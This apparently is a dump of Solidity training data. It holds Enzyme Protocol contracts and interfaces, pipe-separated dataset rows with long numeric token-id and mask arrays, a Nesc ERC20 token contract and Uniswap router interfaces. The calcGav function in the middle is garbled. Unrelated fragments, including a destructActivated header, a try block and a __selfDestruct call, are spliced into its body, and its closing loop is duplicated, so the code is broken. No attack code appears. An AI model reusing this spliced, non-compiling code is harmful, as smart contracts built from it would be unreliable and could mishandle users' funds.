function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
IGsnTypes.RelayData calldata relayData
) external;
function trustedForwarder() external view returns (address);
function versionPaymaster() external view returns (string memory);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnForwarder.sol";
/// @title IGsnTypes Interface
/// @author Enzyme Council <[email protected]>
interface IGsnTypes {
struct RelayData {
uint256 gasPrice;
uint256 pctRelayFee;
uint256 baseRelayFee;
address relayWorker;
address paymaster;
address forwarder;
bytes paymasterData;
uint256 clientId;
}
struct RelayRequest {
IGsnForwarder.ForwardRequest request;
RelayData relayData;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title WETH Interface
/// @author Enzyme Council <[email protected]>
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../core/fund/comptroller/ComptrollerLib.sol";
import "../interfaces/IWETH.sol";
import "../utils/AssetHelpers.sol";
/// @title DepositWrapper Contract
/// @author Enzyme Council <[email protected]>
/// @notice Logic related to wrapping deposit actions
contract DepositWrapper is AssetHelpers {
address private immutable WETH_TOKEN;
constructor(address _weth) public {
WETH_TOKEN = _weth;
}
/// @dev Needed in case WETH not fully used during exchangeAndBuyShares,
/// to unwrap into ETH and refund
receive() external payable {}
// EXTERNAL FUNCTIONS
/// @notice Exchanges ETH into a fund's denomination asset and then buys shares
/// @param _comptrollerProxy The ComptrollerProxy of the fund
/// @param _minSharesQuantity The minimum quantity of shares to buy with the sent ETH
/// @param _exchange The exchange on which to execute the swap to the denomination asset
/// @param _exchangeApproveTarget The address that should be given an allowance of WETH
/// for the given _exchange
/// @param _exchangeData The data with which to call the exchange to execute the swap
/// to the denomination asset
/// @param _minInvestmentAmount The minimum amount of the denomination asset
/// to receive in the trade for investment (not necessary for WETH)
/// @return sharesReceived_ The actual amount of shares received
/// @dev Use a reasonable _minInvestmentAmount always, in case the exchange
/// does not perform as expected (low incoming asset amount, blend of assets, etc).
/// If the fund's denomination asset is WETH, _exchange, _exchangeApproveTarget, _exchangeData,
/// and _minInvestmentAmount will be ignored.
function exchangeEthAndBuyShares(
address _comptrollerProxy,
address _denominationAsset,
uint256 _minSharesQuantity,
address _exchange,
address _exchangeApproveTarget,
bytes calldata _exchangeData,
uint256 _minInvestmentAmount
) external payable returns (uint256 sharesReceived_) {
// Wrap ETH into WETH
IWETH(payable(getWethToken())).deposit{value: msg.value}();
// If denominationAsset is WETH, can just buy shares directly
if (_denominationAsset == getWethToken()) {
__approveAssetMaxAsNeeded(getWethToken(), _comptrollerProxy, msg.value);
return __buyShares(_comptrollerProxy, msg.sender, msg.value, _minSharesQuantity);
}
// Exchange ETH to the fund's denomination asset
__approveAssetMaxAsNeeded(getWethToken(), _exchangeApproveTarget, msg.value);
(bool success, bytes memory returnData) = _exchange.call(_exchangeData);
require(success, string(returnData));
// Confirm the amount received in the exchange is above the min acceptable amount
uint256 investmentAmount = ERC20(_denominationAsset).balanceOf(address(this));
require(
investmentAmount >= _minInvestmentAmount,
"exchangeAndBuyShares: _minInvestmentAmount not met"
);
// Give the ComptrollerProxy max allowance for its denomination asset as necessary
__approveAssetMaxAsNeeded(_denominationAsset, _comptrollerProxy, investmentAmount);
// Buy fund shares
sharesReceived_ = __buyShares(
_comptrollerProxy,
msg.sender,
investmentAmount,
_minSharesQuantity
);
// Unwrap and refund any remaining WETH not used in the exchange
uint256 remainingWeth = ERC20(getWethToken()).balanceOf(address(this));
if (remainingWeth > 0) {
IWETH(payable(getWethToken())).withdraw(remainingWeth);
(success, returnData) = msg.sender.call{value: remainingWeth}("");
require(success, string(returnData));
}
return sharesReceived_;
}
// PRIVATE FUNCTIONS
/// @dev Helper for buying shares
function __buyShares(
address _comptrollerProxy,
address _buyer,
uint256 _investmentAmount,
uint256 _minSharesQuantity
) private returns (uint256 sharesReceived_) {
ComptrollerLib comptrollerProxyContract = ComptrollerLib(_comptrollerProxy);
sharesReceived_ = comptrollerProxyContract.buySharesOnBehalf(
_buyer,
_investmentAmount,
_minSharesQuantity
);
return sharesReceived_;
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `WETH_TOKEN` variable
/// @return wethToken_ The `WETH_TOKEN` variable value
function getWethToken() public view returns (address wethToken_) {
return WETH_TOKEN;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/////////////
// STORAGE //
/////////////
/// @dev Helper to remove an item from a storage array
function removeStorageItem(address[] storage _self, address _itemToRemove)
internal
returns (bool removed_)
{
uint256 itemCount = _self.length;
for (uint256 i; i < itemCount; i++) {
if (_self[i] == _itemToRemove) {
if (i < itemCount - 1) {
_self[i] = _self[itemCount - 1];
}
_self.pop();
removed_ = true;
break;
}
}
return removed_;
}
////////////
// MEMORY //
////////////
/// @dev Helper to add an item to an array. Does not assert uniqueness of the new item.
function addItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
nextArray_ = new address[](_self.length + 1);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
nextArray_[_self.length] = _itemToAdd;
return nextArray_;
}
/// @dev Helper to add an item to an array, only if it is not already in the array.
function addUniqueItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
if (contains(_self, _itemToAdd)) {
return _self;
}
return addItem(_self, _itemToAdd);
}
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to merge the unique items of a second array.
/// Does not consider uniqueness of either array, only relative uniqueness.
/// Preserves ordering.
function mergeArray(address[] memory _self, address[] memory _arrayToMerge)
internal
pure
returns (address[] memory nextArray_)
{
uint256 newUniqueItemCount;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
newUniqueItemCount++;
}
}
if (newUniqueItemCount == 0) {
return _self;
}
nextArray_ = new address[](_self.length + newUniqueItemCount);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
uint256 nextArrayIndex = _self.length;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
nextArray_[nextArrayIndex] = _arrayToMerge[i];
nextArrayIndex++;
}
}
return nextArray_;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
/// @title AssetHelpers Contract
/// @author Enzyme Council <[email protected]>
/// @notice A util contract for common token actions
abstract contract AssetHelpers {
using SafeERC20 for ERC20;
using SafeMath for uint256;
/// @dev Helper to approve a target account with the max amount of an asset.
/// This is helpful for fully trusted contracts, such as adapters that
/// interact with external protocol like Uniswap, Compound, etc.
function __approveAssetMaxAsNeeded(
address _asset,
address _target,
uint256 _neededAmount
) internal {
uint256 allowance = ERC20(_asset).allowance(address(this), _target);
if (allowance < _neededAmount) {
if (allowance > 0) {
ERC20(_asset).safeApprove(_target, 0);
}
ERC20(_asset).safeApprove(_target, type(uint256).max);
}
}
/// @dev Helper to transfer full asset balances from the current contract to a target
function __pushFullAssetBalances(address _target, address[] memory _assets)
internal
returns (uint256[] memory amountsTransferred_)
{
amountsTransferred_ = new uint256[](_assets.length);
for (uint256 i; i < _assets.length; i++) {
ERC20 assetContract = ERC20(_assets[i]);
amountsTransferred_[i] = assetContract.balanceOf(address(this));
if (amountsTransferred_[i] > 0) {
assetContract.safeTransfer(_target, amountsTransferred_[i]);
}
}
return amountsTransferred_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IBeacon interface
/// @author Enzyme Council <[email protected]>
interface IBeacon {
function getCanonicalLib() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "./IBeacon.sol";
pragma solidity 0.6.12;
/// @title IBeaconProxyFactory interface
/// @author Enzyme Council <[email protected]>
interface IBeaconProxyFactory is IBeacon {
function deployProxy(bytes memory _constructData) external returns (address proxy_);
function setCanonicalLib(address _canonicalLib) external;
} | / ACCOUNTING / @notice Calculates the gross asset value (GAV) of the fund @return gav_ The fund GAV | function calcGav() public override returns (uint256 gav_) {
address vaultProxyAddress = getVaultProxy();
address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets();
address[] memory externalPositions = IVault(vaultProxyAddress)
.getActiveExternalPositions();
function destructActivated(
uint256 _deactivateFeeManagerGasLimit,
uint256 _payProtocolFeeGasLimit
}
try
emit DeactivateFeeManagerFailed();
}
__selfDestruct();
}
}
}
if (assets.length == 0 && externalPositions.length == 0) {
return 0;
}
uint256[] memory balances = new uint256[](assets.length);
for (uint256 i; i < assets.length; i++) {
balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress);
}
gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue(
assets,
balances,
getDenominationAsset()
);
if (externalPositions.length > 0) {
for (uint256 i; i < externalPositions.length; i++) {
uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]);
gav_ = gav_.add(externalPositionValue);
}
}
return gav_;
if (externalPositions.length > 0) {
for (uint256 i; i < externalPositions.length; i++) {
uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]);
gav_ = gav_.add(externalPositionValue);
}
}
return gav_;
}
| 122,354 | [
1,
19,
29437,
1360,
342,
225,
26128,
326,
314,
3984,
3310,
460,
261,
43,
5856,
13,
434,
326,
284,
1074,
327,
314,
842,
67,
1021,
284,
1074,
611,
5856,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
7029,
43,
842,
1435,
1071,
3849,
1135,
261,
11890,
5034,
314,
842,
67,
13,
288,
203,
3639,
1758,
9229,
3886,
1887,
273,
11031,
3714,
3886,
5621,
203,
3639,
1758,
8526,
3778,
7176,
273,
467,
12003,
12,
26983,
3886,
1887,
2934,
588,
4402,
329,
10726,
5621,
203,
3639,
1758,
8526,
3778,
3903,
11024,
273,
467,
12003,
12,
26983,
3886,
1887,
13,
203,
5411,
263,
588,
3896,
6841,
11024,
5621,
203,
203,
565,
445,
23819,
28724,
12,
203,
3639,
2254,
5034,
389,
323,
10014,
14667,
1318,
27998,
3039,
16,
203,
3639,
2254,
5034,
389,
10239,
5752,
14667,
27998,
3039,
203,
3639,
289,
203,
203,
203,
203,
3639,
775,
203,
5411,
3626,
1505,
10014,
14667,
1318,
2925,
5621,
203,
3639,
289,
203,
203,
3639,
1001,
2890,
6305,
8813,
5621,
203,
565,
289,
203,
203,
565,
289,
203,
203,
565,
289,
203,
203,
203,
3639,
309,
261,
9971,
18,
2469,
422,
374,
597,
3903,
11024,
18,
2469,
422,
374,
13,
288,
203,
5411,
327,
374,
31,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
8526,
3778,
324,
26488,
273,
394,
2254,
5034,
8526,
12,
9971,
18,
2469,
1769,
203,
3639,
364,
261,
11890,
5034,
277,
31,
277,
411,
7176,
18,
2469,
31,
277,
27245,
288,
203,
5411,
324,
26488,
63,
77,
65,
273,
4232,
39,
3462,
12,
9971,
63,
77,
65,
2934,
12296,
951,
12,
26983,
3886,
1887,
1769,
203,
3639,
289,
203,
203,
3639,
314,
842,
67,
273,
467,
620,
30010,
12,
24805,
30010,
1435,
2934,
12448,
15512,
10726,
5269,
620,
12,
203,
5411,
7176,
2
] |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions"
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner
* @param newOwner The address to transfer ownership to
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
* @title Migration Agent interface
*/
contract MigrationAgent {
function migrateFrom(address _from, uint256 _value);
}
contract ERC20 {
function totalSupply() constant returns (uint256);
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
function allowance(address owner, address spender) constant returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Nesc is Ownable, ERC20 {
using SafeMath for uint256;
uint8 private _decimals = 18;
uint256 private decimalMultiplier = 10**(uint256(_decimals));
string private _name = "Nebula Exchange Token";
string private _symbol = "NESC";
uint256 private _totalSupply = 10000000 * decimalMultiplier;
bool public tradable = true;
// Wallet Address of Token
address public multisig;
// Function to access name of token
function name() constant returns (string) {
return _name;
}
// Function to access symbol of token
function symbol() constant returns (string) {
return _symbol;
}
// Function to access decimals of token
function decimals() constant returns (uint8) {
return _decimals;
}
// Function to access total supply of tokens
function totalSupply() constant returns (uint256) {
return _totalSupply;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => uint256) releaseTimes;
address public migrationAgent;
uint256 public totalMigrated;
event Migrate(address indexed _from, address indexed _to, uint256 _value);
// Constructor
// @notice Nesc Contract
// @return the transaction address
function Nesc(address _multisig) {
require(_multisig != 0x0);
multisig = _multisig;
balances[multisig] = _totalSupply;
}
modifier canTrade() {
require(tradable);
_;
}
// Standard function transfer similar to ERC20 transfer with no _data
// Added due to backwards compatibility reasons
function transfer(address to, uint256 value) canTrade {
require(!isLocked(msg.sender));
require (balances[msg.sender] >= value && value > 0);
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
Transfer(msg.sender, to, value);
}
/**
* @dev Gets the balance of the specified address
* @param who The address to query the the balance of
* @return An uint256 representing the amount owned by the passed address
*/
function balanceOf(address who) constant returns (uint256) {
return balances[who];
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transfered
*/
function transferFrom(address from, address to, uint256 value) canTrade {
require(to != 0x0);
require(!isLocked(from));
uint256 _allowance = allowed[from][msg.sender];
require(value > 0 && _allowance >= value);
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowed[from][msg.sender] = _allowance.sub(value);
Transfer(from, to, value);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender
* @param spender The address which will spend the funds
* @param value The amount of tokens to be spent
*/
function approve(address spender, uint256 value) canTrade {
require((value >= 0) && (allowed[msg.sender][spender] >= 0));
allowed[msg.sender][spender] = value;
Approval(msg.sender, spender, value);
}
// Check the allowed value for the spender to withdraw from owner
// @param owner The address of the owner
// @param spender The address of the spender
// @return the amount which spender is still allowed to withdraw from owner
function allowance(address owner, address spender) constant returns (uint256) {
return allowed[owner][spender];
}
/**
* @dev Function to update tradable status
* @param _newTradableState New tradable state
* @return A boolean that indicates if the operation was successful
*/
function setTradable(bool _newTradableState) onlyOwner public {
tradable = _newTradableState;
}
/**
* Function to lock a given address until the specified date
* @param spender Address to lock
* @param date A timestamp specifying when the account will be unlocked
* @return A boolean that indicates if the operation was successful
*/
function timeLock(address spender, uint256 date) public onlyOwner returns (bool) {
releaseTimes[spender] = date;
return true;
}
/**
* Function to check if a given address is locked or not
* @param _spender Address
* @return A boolean that indicates if the account is locked or not
*/
function isLocked(address _spender) public view returns (bool) {
if (releaseTimes[_spender] == 0 || releaseTimes[_spender] <= block.timestamp) {
return false;
}
return true;
}
/**
* @notice Set address of migration target contract and enable migration process
* @dev Required state: Operational Normal
* @dev State transition: -> Operational Migration
* @param _agent The address of the MigrationAgent contract
*/
function setMigrationAgent(address _agent) external onlyOwner {
require(migrationAgent == 0x0 && totalMigrated == 0);
migrationAgent = _agent;
}
/*
* @notice Migrate tokens to the new token contract.
* @dev Required state: Operational Migration
* @param _value The amount of token to be migrated
*/
function migrate(uint256 value) external {
require(migrationAgent != 0x0);
require(value >= 0);
require(value <= balances[msg.sender]);
balances[msg.sender] -= value;
_totalSupply = _totalSupply.sub(value);
totalMigrated = totalMigrated.add(value);
MigrationAgent(migrationAgent).migrateFrom(msg.sender, value);
Migrate(msg.sender, migrationAgent, value);
}
} | Function to access decimals of token | function decimals() constant returns (uint8) {
return _decimals;
}
| 12,809,267 | [
1,
2083,
358,
2006,
15105,
434,
1147,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
225,
445,
15105,
1435,
5381,
1135,
261,
11890,
28,
13,
288,
203,
565,
327,
389,
31734,
31,
203,
225,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
*Submitted for verification at Etherscan.io on 2022-03-20
*/
// SPDX-License-Identifier: GNU
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getowner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IUniswapERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
}
interface IUniswapFactory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapRouter01 {
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getamountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getamountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getamountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getamountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapRouter02 is IUniswapRouter01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
